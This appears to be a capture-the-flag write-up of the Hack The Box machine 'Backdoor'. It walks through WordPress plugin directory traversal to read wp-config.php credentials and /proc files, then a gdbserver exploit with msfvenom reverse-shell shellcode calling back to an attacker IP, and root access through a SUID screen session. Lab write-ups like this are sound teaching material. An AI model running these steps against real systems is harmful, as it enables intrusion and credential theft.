Backdoor

InfoGathering
HOSTS

SERVICES

# Commands Executed
db_nmap -sC -sV -O -A -oA nmap.results 10.129.96.68 -p 22-10000
wpscan --url http://backdoor.htb --enumerate vp vt dbe ap -o wpscan.results

SSH PORT

HTTP PORT

STATE SERVICE VERSION

STATE SERVICE VERSION
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1337 PORT

WP USERS
- admin

PAGES OF INTEREST LINKS
http://backdoor.htb/wp-includes/
http://backdoor.htb/wp-content/plugins/
http://10.129.96.68/wp-content/uploads/
http://backdoor.htb/wp-content/plugins/ebook-download/readme.txt

SCREENSHOT OF FILE BELOW DISCLOSING HOSTNAME
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MODIFY /etc/hosts file
vi /etc/hosts
# add the below line
10.129.96.68
backdoor.htb

WordPress Plugin eBookDownload is running version 1.1
LINK: http://backdoor.htb/wp-content/plugins/ebook-download/readme.txt

Gaining Access
i checked for available exploits and discovered a Directory Traversal
# Commands Executed
searchsploit WordPress Plugin eBook 1.1
searchsploit -x php/webapps/39575.txt
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This shows a PoC that I tried out. This allowed me to successfully download the wp-config.php file

LINK: http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?
ebookdownloadurl=../../../wp-config.php

WORDPRESS DATABASE INFO
DB: wordpress
USER: wordpressuser
PASS: MQYBJSaD#DxG6qbm
I then downloaded the /etc/passwd file to unmerate users on the machine
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# Commands Executed
wget http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd -P /
root/HTB/Boxes/Backdoor/passwd

SCREENSHOT EVIDENCE

There are 2 users with /bin/bash as their default shell
- user
- root
I downloaded the file /proc/net/tcp to get a list of running processes
I then converted the process hex values to numbers using a tool I made at
RESOURCE: https://github.com/tobor88/Python3-Tools/blob/master/hex2num.py
# Commands Executed
wget http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/net/tcp -P /
root/HTB/Boxes/Backdoor/
mv 'filedownload.php\?ebookdownloadurl=%2Fproc%2Fnet%2Ftcp' ports
cat ports | cut -d":" -f 3 | cut -d" " -f1
LIST=('0CEA','0035','0016','0539','8124','DD20')
for f in ${LIST[@]}; do echo "$f" | hex2num ; done
# NOTE use bash not zsh
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This returned the below conversions telling me the listening TCP ports on the device

I then enumerated /proc/sched_debug to view some processes hat may be running on that port
# Commands Executed
wget http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/sched_debug
-P /root/HTB/Boxes/Backdoor/
mv 'filedownload.php\?ebookdownloadurl=%2Fproc%2Fnet%2Ftcp' procs

One process that stood out was gbbserver
# Command Executed
grep gdbserver sched_debug
# Process number of gdbserver is 42157

I then enumerated that process id and its command line by downloading the file /proc/<processid>/
cmdline
# Commands Executed
wget http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/42157/
cmdline -P /root/HTB/Boxes/Backdoor/
mv filedownload.php\?ebookdownloadurl=%2Fproc%2F42157%2Fcmdline 42157cmdline
cat 42157

This returned a command being executed

I discovered a gdbserver exploit
# Command Executed
searchsploit gdbserver
searchsploit -x linux/remote/50539.py
searchsploit -m linux/remote/50539.py

Running the exploit shows how to use it
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# Command Executed
python3 50539.py
# Generate shell code
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.44 LPORT=1338 PrependFork=true -o rev.bin

I start a Metasploit listener
# msfconsole commands
use mutli/handler
set payload linux/x64/shell_reverse_tcp
set LHOST 10.10.14.44
set LPORT 1338
run -j

I ran the exploit
# Command Executed
python3 50539.py 10.129.254.140:1337 rev.bin

SCREENSHOT EVIDENCE

I entered the shell and created a PTY
# Msfconsole command
sessions -i 1
# Command Executed
python3 -c 'import pty;pty.spawn("/bin/bash")'

I was then able to read the user flag

SCREENSHOT EVIDENCE
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USER FLAG: e636b6552d4ad827fdc056618e33634e
PrivEsc
I ran a search for SUID's and found the screen command runs with root permissions
# Command Executed
find / -perm -u=s -type f 2> /dev/null

SCREENSHOT EVIDENCE

I used that command to elevate my priviledges to root
# Commands Executed
export TERM='vt100'
screen -x root/root

I was then able to read the root flag
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SCREENSHOT EVIDENCE

ROOT FLAG: a698c0e74ff57274b9fd5a798e4d90a7
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